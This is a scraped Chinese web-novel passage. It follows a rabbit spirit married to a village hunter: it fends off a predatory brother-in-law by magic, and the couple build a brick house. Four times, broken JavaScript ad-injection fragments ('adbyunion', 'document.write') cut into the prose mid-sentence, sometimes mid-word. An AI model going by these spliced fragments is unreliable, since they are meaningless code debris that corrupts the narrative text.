刘全一听这声音就和闻到肉香似的,三两步就窜了过来,瞧见眼前这情景,不等袁武发话就立刻滑下去把陈兰香给拽出来了。 也幸好是妇人,若是没嫁人的姑娘小哥儿,他还不好意思呢。 刘全把她捞起来,还不忘笑她:“婶子您可真行,这么宽的地面都能掉河里去,您就这么着急吃那一口鱼肉啊?” 陈兰香冻得直哆嗦,狠狠瞪了涂茸一眼,抱着双臂哆哆嗦嗦离开了。 看热闹的都有些唏嘘,他们倒是没想到袁武居然这么狠心,真不管陈兰香,原本还觉得分家只是笑话,如今却不得不当真了。 这茬热闹一出,袁武便不愿意涂茸在外面待着,他偏头看袁刘全:“我们先回去,夜里一起收网。” “得嘞!”刘全笑应,在涂茸看过来时还不忘给他摆摆手。 涂茸背着小背篓,水把后背洇湿也不觉得难受,这些都是他的战绩,恩人给他的,都是他的! 回到家里,袁武将田螺倒进木盆里吐沙,这小东西沙不多,吐上一日就干净了,到时候就能做个麻辣田螺,有滋有味的。 “它们在浮水。”涂茸指着在里面爬来爬去地田螺说道,“它们没有脚,真可怜,好吃吗?” “嗯?回头做些给你尝尝就知道了。”袁武哭笑不得,前句还说田螺可怜,后脚就惦记上了。 涂茸便不再说什么,时不时将已经磨蹭到盆子边缘地田螺用力拨回盆里。 傍晚,袁武又去山里放了几个简单的陷阱,出山时天色就已经渐渐昏暗了,这时节早晚最是冷,得再买些冬衣了。 到家门口,袁武就见刘全在门前站着,见到他回来,立刻迎上去:“三武哥,你回来了,我说跟你一起收网,嫂子说你没在家,我就没进去。” “我马上出来。”袁武快速进屋。 他回来的不算晚,家家户户都是快天黑时才吃饭,但对涂茸来说却是去了很久,毕竟他又饿了。 袁武无奈,只能让刘全进屋里等。 旁的不说,他做饭却是没问题的,很快就炒好了一素一肉,干粮是中午剩的,放在锅里用热气腾腾就能热乎。 袁武叮嘱道:“我要晚些回来,若是有人喊,不许出来,明白吗?” 涂茸连连拍着瘦弱胸口保证:“我都知道的,除了武哥回来,谁来我都不开门!” “很乖。”袁武捏捏他肩膀,“走了。” 被夸了! 涂茸兴奋地对着空气挥了挥拳头,转头便将视线凝在了饭菜上,还冒着热气,香喷喷的菜! 吃吃吃! 他吃得多,却吃的少。 两盘菜每盘就像是被拨拉了两下,没下去多少,却已经把他肚子填饱了。 他将还满当的菜又放回锅里腾起来,连带着干粮一起,等他做完这些,才惊觉屋外早就彻底黑沉,而他之所以还能视物,是他眼睛在起作用。 他起身将屋外的火把点燃,等武哥回来时就不会被绊倒了。 茅草屋有些偏僻,从他这里看不到村里其他人家是何情况,但入眼皆是一片黑暗,唯有他眼前这一把火光。 “弟夫。” “三弟不在家吗?” 借着火光,涂茸看到了站在篱笆院外的袁全,他心里蓦地升起一股不安,他们常年生活在山林的动物,对危险有着天然地敏感。 就如此时,他知道袁全不安好意。 只是,如果他是普通人家的小哥儿,或许真的会害怕,但此时他却有些期待,期待袁全作坏,那他就算动手也不会被惩罚。 “你是谁?你有事吗?武哥不在家。”涂茸之前只在兔形时见过袁家人,再加上成婚那日袁家人没来,此时装作不认识袁全是应该的。 但他讨厌袁全,他们之前居然想饿死恩人。 袁全紧紧盯着涂茸,他低声道:“是有点家事,传出去不好听,我进去再说。” “武哥说了,他不在家任何人都不许进来,你有事可以隔着篱笆说,等他回来,我会告诉他的。”涂茸态度坚定。 他虽不懂那是什么视线,却让他浑身不适,像是有毛毛虫在爬。 让人很讨厌。 袁全滚滚喉咙,渴意从喉咙蔓延到心口,让他迫不及待想冲进去,他之前没把袁武娶了漂亮夫郎这事放在心上,他以为那只是村里嘲讽的话! “你!你今日把娘推到河里家里还没找你们算账,你现在拒绝我进屋,简直没有礼数!我可是你兄长!”袁全压低声音,他也怕涂茸就大吼大叫把其他人给引来。 原本他只是想过来悄悄看看,但看到涂茸的样子,他就有些意动了。 “我说不许你就不会进来吗?”涂茸垂下的手轻轻动了动,眨眼间就在篱笆院入口布好了陷阱。 袁全把他的话当做默认,当下就推开篱笆往里面走,只是他一脚踏进院子,整个人便不受控地往地面上摔去,他想爬起来,却像是被人按着头似的紧贴着地面,脑袋动都动不了。 “你做了什么?”头动不了,袁全就以为他压着自己,收着声音低声呵斥,“还不快放开我,我可是袁武的二哥,是他的亲人!你敢这么对我,就不怕我让他休了你吗?” 涂茸眨眼走到他面前,脚尖不轻不重地踢着他肚子:“你们可不是他的亲人,我才是他唯一的亲人!” “你、你放开我!你到底做了什么?”袁全奋力想挣脱,可自己始终像是被粘在地上似的,动弹不得。 他倒是有办法脱身,只要他大声呼叫。 可如果被人看到他入夜来这里,自己恐怕也要惹祸上身。 涂茸歪头看他,满脸无辜道:“你很害怕吗?我并没有做什么,是你自己摔到了爬不起来。” 他说着手慢慢落到袁全膝盖位置,微微隔开些距离,张开的手掌慢慢合拢,与此同时,袁全感觉到膝盖阵阵刺痛。 伴随着涂茸的手猛地握成拳,袁全突然爆发出一声急促又惊恐地尖叫,但很快就像是被什么东西捂住嘴巴一般 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,再无法发出任何声音。 涂茸像是发现什么好玩的事一样,欢快笑了两声:“你看,你摔的严重,恐怕稍近些的人家都听到了动静,你还要在这里吗?” “你、你给我等着!”袁全几乎是咬着牙说出这番话,但终究是色厉内荏,比起疼痛,他更多的是害怕。 但他惊讶发现自己竟能动了,便赶紧手脚并用往外爬,约莫爬到了街上,体力不支一头栽了过去。 “嗬……嗬……嗬……” 涂茸猛地跌坐在地上,他本就是机缘巧合能化形的,和那些修炼成型的根本没法比,此刻用了些法子,整个人就有些撑不住了。 兔耳朵和秃尾巴都不受控制地往外冒,但他此时必须立刻回到自己的窝里,否则恩人就快回来了。 “蠢兔子,说你笨还不信!”涂苒骂骂咧咧出现,一手拎起它两只耳朵,将兔子揣进怀里闪身进了玉灵山。 “族爷爷说了你没有大碍,平时叫你修炼上些心,便不听,今日就教训那种杂碎都撑不住。” “我可悄悄看过了,你恩人就在回来的路上了,你如果还不醒,他回家可是要看不到你了。” “笨兔子,好好的妖精,学什么做人呢?” …… “做人很好玩……”涂茸被他吵醒,虽然还有些累,但已经全然没有方才那种无力感了,“你恐怕不知道,化成人形还能吃肉哦!” “吃肉?!”涂苒红眸瞬间瞪大,“你居然还吃肉了吗?疯子!” 涂茸舔舔软垫,哼哼道:“恩人厨艺很好,下次你也去吧?我让他做给你吃。” 涂苒嘴巴挑,爱吃。 所以年年它都会在自己窝里存上好多食物,也正因如此,涂茸有恃无恐,年年都不好好找食物,就靠着它了。 连最不注重味道的笨兔子都说好吃了,可见是真的好吃。 涂苒不免有些意动,只是它们的身份确实特殊,它无奈道:“这事可不好办,你的身份都说不清楚呢,我再去像什么样子?你别管我了,快过去吧。” “好!”涂茸还是很想请好朋友吃饭,“那下次我带些给你!” 涂茸快速跑回茅草屋,幸好袁武还没有回来,他稍稍松了口气。 都怪他当初没有好好修炼,如果是修炼成型,根本不可能因为这么点小事就撑不住,等他回头再多找些灵芝补补,应该就能撑更久了! 他刚缓了些,就听到了屋外传来的动静。 涂茸立刻跑出去,就见刘全和袁武站在篱笆院外要进来,他立刻跑过去迎接:“武哥!” “快去拿木桶来。” “好哦!” 涂茸将木桶拿到院内,借着火把和月光发现他们收回的渔网上挂着好多鱼! 又肥又大! “武哥,好多鱼!”涂茸蹲在旁边,刚举着手指戳了戳鱼,就被蒲扇的鱼尾甩了一脸水,立刻扭头告状,“它用尾巴打我哦!” 袁武当即一拳头将鱼砸晕,也不知死没死,反正是不动了。 刘全在旁边瞪大眼,方才他收网的时候粗暴了点,就被三武哥给骂了,说怕把鱼弄死不好卖,到嫂子这就变脸了? “明日忙完就炖了它。”袁武说。 “好吧,我一点都不生气了!”涂茸欢欢喜喜的说着。 9. 盖房 秋鱼肥,网到的确实不少。 袁武和刘全各自分了些,将那些快死的单独放起来,准备留给涂茸炖着吃,其余的则是放进大木桶里养着,等着明日去镇上卖掉。 “全儿,我明日有事要出门,你把鱼拉去卖掉,回时带点镇上的糕点。”袁武仔仔细细叮嘱着,“问清楚店家,要甜腻的,贵些无妨。” 刘全有些迟疑:“三哥,糕点都是精细物,那得多贵啊,我买些便宜糖块如何?” 袁武摇头:“他爱吃。” 刘全:“……好吧。” 哪家村户能日日吃镇上小姐公子们才会吃的糕点,三哥还真是疼夫郎,若是叫村里那起子爱说三道四的知道,怕不知要嫉妒成啥样了。 涂茸在一旁听着,知道还会有好吃的糕点时,悄悄戳了戳袁武腰间,恩人真的是好人! 第二日。 袁武没特意早起,在刘全来时把鱼放到板车上,并叮嘱道:“用卖的鱼钱买点心就成,若是不够你先垫上,回来我给你。” “成,那我走了三哥。”刘全没多问他要去干嘛,想来是要找些活计做,三哥被分出来,没房没田的,自然得想些办法多赚银子。 袁武是要多赚些银子,只是他得先找人问问其他事。 玉灵村算得上是十里八乡的大村,会做各种木工活砖瓦房的手艺人也多,袁武的意思是不愿让涂茸跟他在茅草屋里过一辈子。 因此,他做好饭菜就出门去找村长了。 要是想占地建房,自然得先和村长打声招呼。 “啥?你要占地盖房?”李德顺震惊,这小子该不会真像袁家说的那样,把银子都藏起来了吧? 要真是这样,也怪不得他会不要袁家的东西了。 袁武点头:“想圈块地方盖房,不知道需要多少银子,我好多做些活计。” 李德顺看他一眼,说道:“你们就两口子,能圈多大地方,你茅草屋那块就直接盖吧,那块也宽敞。” “只是还要劳烦李叔帮我问问村里哪家是做木匠的好手,我也好合计着看看需要多少银子。”袁武说,“我这不需要太多人,只想要些踏实能干的,这些都得仰仗李叔帮忙了。” “行,这事我帮你问问,你直接跟我去,现在就去!”李德顺被他哄得心花怒放,当即一口答应。 村里的事问他就对了,谁家是干活的好手,他可都知道。 农户人家就靠手艺过活呢,会建造房屋的人自然多,还有些能接到其他村里的木匠单子,都是厉害的。 李德顺带着袁武朝一户人家走去,边说边解释着:“你前几年不在家不知道,钟家遭了大难,就剩钟老头自己了。” 一家子妻儿儿媳妇都走了,村里都说钟老头克亲,这些年没人敢和他来往了,外村听说他的事也不敢让他做木匠活了,如今日子就过得艰难起来了。 李德顺到底是村长,村里有什么难处,他能帮自然得帮着些,只是若他自己,他也是不愿和钟老头有什么联系的。 李德顺站在院外喊:“老钟!老钟你在家吗?武小子有生意找你做。” “在在!我在呢!啥生意?进来说吧!”从屋内走出个老态龙钟地老头来,身形也有些佝偻,全然不像袁武记忆里的样子。 他最多也就和刘全父亲差不多,看着却老得过分,可见生活对人的磋磨是方方面面的。 钟老头略有些谄媚的视线落在袁武身上,他忙说道:“武小子都这么结实了,有啥事快进来说!” “我就不进去了,武小子我去别家帮你问问,看他们得不得空。”李德顺说完就快速离开了。 他可不要进去沾晦气。 袁武扭头看他一眼,跟着钟老头进了屋,他一个从战场回来的,可不怕这些。 “钟叔,我想建房,想把我那块都圈起来,依您看,得准备多少银子?”袁武问。 “这得看你的用料,如果是木头,咱们山里就有,花不了几个钱,但如果是砖瓦房,那就得去买,这就贵了。”钟老头仔细帮他分析着,生怕他不找自己做事,“再加上地方越大,用料就越多,都是银子。” 袁武没想过用木头,先前就他自己,茅草屋也能住人,可现在有了涂茸,他就不好再让对方跟着自己住草棚子了。 既然要重新盖,那就盖好的。 不就是银子吗?再赚就是了。 “无妨,我要盖砖瓦房,我茅草屋那块都要占,您估略算算,得是个什么数?”袁武不怕没银子,他有得是力气,只要不伤天害理,什么活计都能干。 “少说得二十两!”钟老头说,“砖瓦可不便宜,你得提前跟人定好千多块。” 袁武仔细算了算自己那些银子,是差不多的,他虽把先前退役下来的给了大斌哥他们,但好歹留了些,再加上猎物卖得好,也得了一些,这才勉强能够上。 房屋建好,涂茸自己在家,他也能放心些。 袁武当场拍板:“那就这么定,去哪家要砖瓦?” 钟老头虽然在本村背着坏名声,但在外村非亲非故的,没人会在意这些,他带着袁武在邻村定好了砖瓦,回到村里,李德顺也帮他找好了能帮忙的人。 袁武要建新房的事瞬间就传遍了,茅草屋本就是他回来时刚建好的,没漏没破的,又要建砖瓦房了,这得是什么人家! 而且,袁武居然有那么多银子吗? 袁武走到家门口,就见好多人围着,你一言我一语的聒噪着。 “武小子不是婶子说你,这种事怎么能不叫我家那口子帮忙呢,大家都是邻里乡亲的。” “就是,你要盖大房子,那肯定得费时费力的,人多做快点,不是给你行方便吗?” “对啊,我家大龙,那都是干活的好手哩!” 袁武对这些话充耳不闻,他只淡声道:“人是我拜托李叔找的,找了哪家没找哪家,具体原因,各位心里都有数,与其日后闹不愉快,不如现在就相安无事。” 这已经算得上是委婉了,来吵着要帮忙的,不都是知道自家为什么没被选中,却又抱着侥幸,以为闹一闹说一说就能被用。 也有些知道缘由的,觉得面上过不去,压根不来这抛头露脸。 袁武是要建砖瓦房,这在村里不说头一份,但也是不得了的,没点真本事的谁敢接活,这猎户可不是好惹的,一通老拳下去谁也受不住。 李德顺闻声赶来,看见一汪汪人立刻挤进人群里咳嗽两声,将所有人视线都吸到他身上,他这才不慌不慢道:“邻里乡亲,有用到的时候自然要帮忙,武小子这里人手我都找够了,你们没事的就赶紧走!” 围着的人群这才散开。 李德顺道:“人都找好了,你想什么时候动?” 袁武思忖片刻说道:“就这两日吧,再过些时候就冷了,趁着有晴天,快些建好就成。” “那行,只是虽说都是村里人,帮个忙也没什么,但也不好叫他们白忙活不是?”李德顺说这话,是因为他家儿子也在里头。 “不管饭,每日二十文。”袁武说。 “行,我回头告诉他们!”李德顺说起不管饭这事就来了话,“你夫郎呢?让他做饭也是好的,还能省些铜板。” 袁武摇头:“不让他做这些。” 碗筷盘子可不够他摔的。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>李德顺不知,却只笑:“瞧不出来,你这五大三粗的汉子还挺会疼人,那成,你什么时候叫他们做,就赶紧弄吧!” 他也悄悄打听过了,这砖瓦房若是盖成,得花几十两银子,这武小子平时看着不显山水,吃糠咽菜,没想到还能拿出这些银子来。 依李德顺来看,袁武可比袁文有本事多了,只是这话他自然不能放在面上说,万一那袁文真考中秀才呢? 建房的事便这样定下来,袁武又和村长找的人商议好动工的日子,这才回到茅草屋里做饭。 涂茸是被一阵香气勾醒的,他捧着咕噜叫的肚子爬起来,顶着乱糟糟地头发走到灶火堂前。 “武哥?” “醒了?”袁武头也不回,“出去等着,这里呛。” 涂茸刚醒,有一点点黏人,他也不理会袁武的话,只摇摇头便蹲在门口拨弄墙角的小石块。 他刚才好像还听到了很吵的声音,还以为要打起来了,恩人怎么都不说发生了什么呢? “武哥,刚刚出什么事了吗?”涂茸轻声问,“我好像听到吵架了哦?” “和村里人说了说话,没有吵架。”袁武边做饭边回应着,就那些人,还不够吃他一拳。 涂茸便放心了。 只是他还是有些不开心,他原本想着要早些起床帮武哥洗漱穿戴的,结果次次都起这么晚,天气一冷,还是对兔兔有些影响的,让他变得更懒了! 明天,明天一定要早些起来帮恩人! “蹲那种蘑菇?”袁武抬脚踢踢他屁股,“洗手吃饭,傻子就是傻子,还玩泥巴。” “我不是傻子!”涂茸努努嘴,你才是大傻子,大傻野猪,大傻熊!嘻嘻! 建房的大事,这事自然不能瞒着涂茸,到底是他夫郎,总要和他商议,何况如果能住大房子,他应该也开心。 然而—— “为什么?”涂茸疑惑,“我们的茅草屋不好吗?我住的地方都是铺着暖乎乎的干草,我们不要干草了吗?” 袁武抿紧嘴唇,也不知这傻子之前过的都是什么生活,看着像是有钱人家的小哥儿,怎么能过那么差? 他问:“你不觉得住在茅草屋里很委屈吗?别人家都有大房子。” “我都好呀,反正跟你有得住,我在哪里都无所谓的。”他又不是奔着大房子才来报恩的,恩人住哪他住哪。 这番话在袁武听来,就等同于在表明心意。 对方心甘情愿跟着他,可他却不能真叫涂茸跟着吃苦。 “那就住大房子,我们以后不睡干草,睡棉花,你知道棉花吗?很软,和兔子的皮毛一样,你躺着睡觉会很舒服。”袁武低声说着,全然没察觉到自己说的这些话,对真兔子来说就和讲鬼故事似的。 兔、兔子皮毛? 涂茸眼睛瞪得老大,细看里面好像还存着些水汽,他摇头:“我不要大房子了,我住茅草屋就好了,你去躺兔皮毛棉花吧!” “我只是想说棉花很软,你会很喜欢的,没说真的要躺兔皮……”袁武无奈,怎么能傻成这样? “那好吧。”涂茸又好了,“那我们就住大房子吧,需要我做什么吗?我能洗衣服,做饭或许也是可以的,大概还能帮着盖房子……” 袁武失笑:“这一片都是我们的,茅草屋暂时不会动,你什么都不需要做,但你恐怕不能再睡懒觉了。” “没有关系,我早早起来帮你洗漱穿衣,还能顺便做饭!”涂茸很相信自己的实力,做饭不就是把所有的蔬菜都放进锅里吗? 很简单的样子。 袁武:“……” 你把自己想的真厉害。 10. 睡觉 李德顺还算靠谱,给他找的人都是老实能干的,虽然村里好些有力气的汉子都没叫,但目前这些人也是够用的。 袁武将自己想盖的大概尺寸告诉他们,连每日的工钱都说的清楚明白,若是有不好好干,并且有意拖延的,立刻让走人。 这些人也都识趣,一个村里,抬头不见低头见的,不好弄那些腌臜事恶心彼此。 茅草屋确实暂时不会动,也如袁武所说,每天早上院外都有很大动静,说话声,动土声,涂茸就是想睡懒觉都不行。 再加上他有心想帮忙,每日听到动静都会赶紧起来,只是一直都晚一些。 袁秀英不免有些不满意,她拉过涂茸悄悄道:“堂姑知道你是有钱人家的哥儿,不会做这些活计,可你总得早些起,不叫别人看笑话。” 涂茸有些苦恼:“可我起不来,武哥也不会叫我,他总是让我多睡会。” “三小子是心疼你,可你也得心疼他,你知不知道盖新房要花多少银子?那些砖瓦就得好几两!真有这些银子做什么不好?”袁秀英是真心疼银子,先前那茅草屋有什么不好? 要不是为了新夫郎,三小子肯定也不会愿意做这些,否则就他自己住,在哪不是住呢? 只是这都是一个愿打一个愿挨的事,她不好多说什么,便只能叮嘱涂茸,希望他能心疼心疼袁武。 “我明白的堂姑,从明天开始,我就学着洗衣裳,也慢慢学做饭。”涂茸乖巧答应,如果能让恩人开心,他很乐意做这些的。 “那好,明中午我来叫你,咱们一起去河边洗衣裳,堂姑教你。”袁秀英见他懂事,心里不免又满意几分,至少是听话的。 涂茸欢喜点头。 袁秀英家的丈夫儿子都来这里帮忙了,袁大壮一家却没有半个人影,袁武倒是也不期待他们来,省的他们来了这里再闹事,何况他听说袁全不知怎么摔断了腿,怕是正着急呢。 左右这些都和他无关,他也懒得理会。 袁武抹了把汗,视线落在涂茸身上,瘦弱的小哥儿在人群里格外显眼,且他还穿着袁武早些年的旧衣衫,一眼便能瞧见。 涂茸很敏感,瞬间就察觉到了对方的视线,他想到袁秀英的叮嘱,立刻转身进屋倒了满满一碗水,还往里面放了糖块,两手捧着就跑到了袁武面前。 他微微捧高碗,露出笑容:“武哥喝水。” 袁武不愿他一直举着,视线落到碗底时,才发现里面还有未化开的糖块,他一饮而尽,连带着糖块一起,在嘴里发出咯嘣声响。 只是他总觉得这糖块格外甜腻。 “别在这边待着,你去玩。”袁武说,“这边都是灰尘,男子也多。” “你不陪我,我不想自己玩。”涂茸鼓鼓脸,可怜巴巴的看着袁武,别人哪有恩人好玩呢? 踏实做活的也总有爱说笑的,听到他们夫夫间的谈话不免笑起来。 “三小子,你不如歇会,陪陪你家哥儿?这眼巴巴瞅着,我们都觉得不好意思了。” “你家哥儿看着就是住大宅子的,你把他哄走,我们使劲给你盖,叫你们早点住上新房子!” 袁武没应他们的话,只带着涂茸走远些,村里汉子都是这样,相熟起来总爱说几句荤话,他和涂茸还没到那一步,更不想叫他听到那些话。 涂茸不解,但恩人做什么都是对的。 “我刚才看见你和堂姑说话,聊什么了?” “堂姑说明儿中午教我洗衣裳,我想给你洗衣裳,我可以去吧?”涂茸抬头,眼巴巴看着他。 袁武先前总是套兔子,大概是见得多了,莫名觉得对方这眼神和兔子似的,他心里猛地咯噔一声,怕是以后都不敢随便捉兔子了。 他轻声咳:“你想去就去,秋日水冷,觉得冷了就别洗了。” 涂茸点头又摇头:“我不怕。” 袁武便不再多说什么,叮嘱他两句便继续去干活了,到底是他家的新房,自然是得多上心些。 盖新房这事这样热闹,还请了好些人去,说来李德顺也去袁大壮家请了。 在李德顺看来,他们只是分家,就算是断亲,邻里乡亲也是该帮忙了帮忙,只是袁全伤了腿,却叫他们欢天喜地的给袁武盖新房,袁大壮自知做不出这种事,便拒绝了。 袁全不知道自己的腿是怎么断的,他只知道自己去找涂茸,然后再醒来就躺在家里了,腿已经断了。 他隐约觉得是涂茸有问题,但印象里他们也没接触,自然不好将这锅扣到对方头上,便只能吃了这哑巴亏,何况他也说不清楚,为什么要晚上去找人。 “娘!大哥到底什么时候回来?”袁全虽嫉妒袁文得娘宠爱,但他还是一心仰仗着袁文的,自然也期待他回来给袁武下马威。 “就这两日了,等你大哥回来,我可是要和他好好说说那个小畜生,居然还想断亲,他敢!”陈兰香也盼着呢,但她不敢让人去打听,阿文不喜欢家里人去镇上找他。 袁全有些不高兴,他冷哼一声:“大哥也真是的,回不回倒是派人给家里捎句话,回回回来就是要银子,家里连给我娶媳妇的银子都没有了!” 陈兰香皱眉:“等你大哥考中秀才,那不就有银子了,你再等等,有你大哥在你怕啥?” 她说完扭头看向一直坐着没说话的袁大壮,“你想啥呢?你不是还想去那帮忙吧?你敢!那个不孝东西,你还惦记他呢?” “瞎嚷嚷什么!”袁大壮瞪她,“我是在想他的银子,不声不响就要盖新房,肯定有很多银子,当初一枚铜板都不愿意给咱们!” 说起这事陈兰香就生气,当即就扯着脖子开始骂了起来,声音大到恨不得让全村的人都听到。 袁全心中暗爽,骂吧,骂的越狠,等大哥回来就会狠狠教训袁武! 翌日。 袁秀英如往常起来,吃过饭就带着两个儿媳和女儿朝袁武的茅草屋去,汉子们已经热火朝天地干活了。 她便直接进屋去叫涂茸,茅草屋不大,刚进去就发现了床脚收起来的一套被子,以及还在床上睡着的涂茸,她一眼就看出这是怎么回事了。 怪不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得这哥儿还一副天真样,合着连正经事都没办呢! “茸哥儿?茸哥儿你起来,堂姑有话问你。”袁秀英边叫边推碰他,“你快起来,咱们该去洗衣裳了!” 洗衣裳! 涂茸猛地坐起来,头发也乱乱顶在脑袋上,他想也不想直接赤脚下地:“堂姑,我们去洗衣裳!” “诶呦等等!你这衣裳也不穿好,头发也乱糟糟的,出去不是叫人笑话?”袁秀英催促道,“你快点收拾,我去外面等你。” “堂姑,帮我梳头吧?”涂茸放软声音,“平时都是武哥给我梳头的。” 如果就他自己,他当然可以略用些小术法,但他修为不够,能不用还是不用的好。 袁秀英真是拿他没办法,给他梳头穿戴整齐,才把他带到外面。 涂茸临走时还想和袁武打招呼,但看对方忙得厉害,只能默默离开了。 袁秀英带他去的河边已经有几个妇人在洗衣裳了,见他们过来,便不住给对方眼神。 一妇人笑道:“茸哥儿,这还是头回见你出来洗衣裳,你休息好了?” 涂茸困倦万分地打着哈欠:“没有哦,还是很想睡觉,因为天气越来越冷了,总是是不想起……” 他声音越来越小,妇人们离他有些距离,自然没有听清后面的话,只听前半句便忍不住笑了起来。 “武小子身强力健的,你受不住也是正常的,只是你身为夫郎,洗衣做饭还是要做的,可不能懒着,会被嫌弃的。” “就是,你这都快半月才出门洗衣裳,这可不行,村里哪家夫郎妇人,不是挺着大肚子还要干活?” “什么?”涂茸不解。 妇人们哈哈笑了起来,脸皮薄的小媳妇和未出阁的姑娘们则是红着脸洗衣裳,只当是没有听到。 袁秀英见他这种反应,就知道他还不懂事,便委婉道:“成了婚,还得和汉子做那事,生孩子呢!你回头也和三小子说说,早点生娃,你也有盼头。” 涂茸不太懂生娃和盼头有什么联系,但生娃这事他能行的呀! 不过会生兔兔吗? “我知道了堂姑,我会和武哥商量生孩子的事,我能生的,他应该会很喜欢。” 兔兔谁会不喜欢呢? 只要武哥不吃兔兔…… “诶呦,你这哥儿,看着面皮薄,说话倒是够大胆的哈哈哈哈!” 妇人们纷纷笑了起来,因着来得早,那些好生事的还没有来,气氛勉强还算和谐。 没有察觉到危险气息,涂茸也乐得在她们这里多了解些事情。 不管是生娃娃,还是做那些事。 入夜。 袁武累了一日,躺在地上就开始打鼾。 涂茸却是睡不着,他翻身趴着看向袁武:“武哥,你不跟我睡觉吗?我今日听婶子们说,成婚的小哥儿都是要和夫君睡觉的,还要生娃。” 鼾声停了一瞬,然后更大了。 “武哥,跟我睡觉吧?” “闭嘴,再不睡觉就让老猫把你叼走!” 11. 袁文 如陈兰香所说,袁文确实很快就回来了。 袁文是在镇上读书的童生,自觉是读书人便觉得高人一等,虽面子功夫做的足,但内里却是瞧不起乡下泥腿子的。 他这一路回到家,就听说三弟袁武回来了,回不回的对他来说并没有影响,毕竟就是个退下来的杂役兵,只是他却没想到他看不起的杂役兵居然还把家里搅和乱了。 脚刚踩到袁家的泥,就听陈兰香灌了一耳朵的脏话,他不禁有些反感:“娘,谨言慎行,怎好满口脏话,实在有辱斯文!” “大哥,娘都被三弟气成什么样了,你还在这满口死文不死文的,有啥用?你不如去找三弟帮娘讨公道!”袁全撇撇嘴,全然看不惯他的虚伪做派。 袁大壮当即呵斥:“老二,怎么和你大哥说话呢?不懂规矩!” 袁全气急,干脆扯过被子躺下了。 袁文自知还要靠这个弟弟赚银子供自己读书,几个呼吸间就换了幅面孔,他笑道:“二弟别气,日久天长的事总要慢慢来,我从镇上给你带了点心,你尝尝吧?” “……真的?”袁全也不是真的要和袁文吵,对方给了台阶,自然赶紧下,“还是大哥好!” 袁文趁着机会听他说袁武的事,而袁全也三言两语将袁家摘干净,把错都推到了袁武身上,却刻意隐瞒了袁武那个漂亮的夫郎。 早起这事,有一就有二。 袁秀英每日都会早起叫涂茸起来,要么洗衣裳,要么就是教他打理家里,反正晚上也没累着,还不早起干活就说不过去了。 涂茸原以为自己会适应,却不想每日都睡不醒,困意和疲倦就越积越多,直到积累得不开心。 这日洗完衣裳,涂茸蹲在茅草屋旁边,捧着红通通的手指轻轻哈气,袁武很快就察觉到他的不对劲。 应该说前两日就发现了,只是忙着盖房的事,便没能及时询问他。 突然,涂茸察觉到自己的屁股被人踢了踢,他立刻抬头,眼底便涌起惊喜:“武哥!” “不开心?”袁武垂眸看他,挺糙一汉子,心思却格外灵敏。 “有一点哦。”涂茸伸出手比划出一点可以忽略不计地缝隙,他有些迷茫,“我好像很懒,我一点都不愿意早起,可是我很愿意给你洗衣裳,洗我们的衣裳,但是我很困哦,我不开心……” 他颠三倒四地说着,袁武却是能听明白,无非就是愿意做事,又不愿意起太早做事。 他抬脚轻轻踢涂茸脚尖:“那就睡足了再起,我和堂姑说,不叫她再叫你起床,能开心点吗?” “能哦,如果你跟我睡觉,我会更开心点哦!”涂茸立刻顺杆爬,忽闪着大眼睛看他,希望他能立刻答应自己。 袁武冷笑:“成天想屁吃!回屋睡你的觉!” 另一头。 袁文在问过村里人后就朝袁武这边的茅草屋走来了,他倒是要看看这泥腿子弟弟到底要盖个什么新房。 人多建的便快,虽然只有短短数日的功夫,但地基早已打好不说,院墙都垒起来一截了,从砖瓦来看都知道建成得是高墙大院了。 袁文压下内心的震惊,待走近后并未直接喊袁武,而是先询问身边的妇人:“婶子,可有见我三弟?我来寻他,想和他说些话。” 这咬文嚼字的劲儿就不是普通汉子能有的,那妇人盯着他看了好一会,突然大喊道:“你是文小子?哎呦,有阵子不回来,差点认不出了,你找武小子啊,他在那边和泥呢!” “劳烦婶子帮我叫他一声,多谢。”袁文可不想穿着干净去蹚那些灰尘和泥土。 那婶子哪里受过这样的优待,当即就立刻走近几步开始叫袁武了。 袁武闻声走来,就见妇人身边站着一位看着温和的男子,他眯了眯眼,即便这些年过去,他还是一眼就认出了这是袁文。 “你有事?”袁武张口便带上了混不吝和流氓语气,“早和你家断亲了,没事少来,有事更别来。” “三弟,这话便是错的,你我都是亲兄弟,打断骨头连着筋,你怎能说这样冷血无情地话,真是叫我这做兄长的心寒。”袁文三言两语便将错全都推到了袁武身上。 若说起初为着名声他不愿真让家里和袁武断亲,眼下看到这即将盖成的大院,那便更不愿意了。 他若是能在这大院里读书,那自然是美滋滋的。 袁武将锄头丢到一旁,嗤笑一声:“我看你是读书读傻了,人话都听不明白了,之前有文书,写的清清楚楚,我袁武和你袁家没有任何关系了,祸福不相依,不同甘不共苦,没事赶紧滚!” “你!我是你兄长,你怎能如此粗鄙不堪?我们可是血浓于水地至亲,你莫要再闹脾气了。”袁文端得一副温和样,像是在耐心劝解使性子的三岁弟弟。 却不知,他这幅道貌岸然地模样落到袁武眼里是何等恶心! “你他娘听不懂人话是不是?”袁武当即拿起旁边杵着的木棍挥过去,“赶紧滚!再敢来胡言乱语,老子打得你爹娘都不认识!” 军营这些年,骨子里的痞气可是难以消磨的,这话加上动作,当即就把袁文吓了个趔趄。 他好不容易稳住身形就察觉到其他人打量的视线,敏感如他,只觉得好似所有人都在看他的笑话,恨不得立刻找地缝钻进去。 他一甩衣袖,顾不得狼狈,快速说道:“我只是听二弟说你成家了,想过来看看,既然你如此不欢迎我,那我便不多留了,你保重身体……” 袁文说完就赶紧提着衣摆离开了,好似有多嫌弃脚下的泥。 袁武淡淡收回视线,继续做事了。 袁文这次在村里时间久,他闲来无事便总要去茅草屋那边逛,他虽然有些好吃懒做,但说实话是比不过涂茸的,所以一直没有见过。 但这次他去得晚了,恰好碰上涂茸端着木盆要去河边洗衣裳,袁文眼睛都直了,他盯着涂茸的脸痴痴询问:“你是哪家的哥儿?怎么从我三弟这里出来了?” 涂茸充耳不闻,直接从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他身边走过。 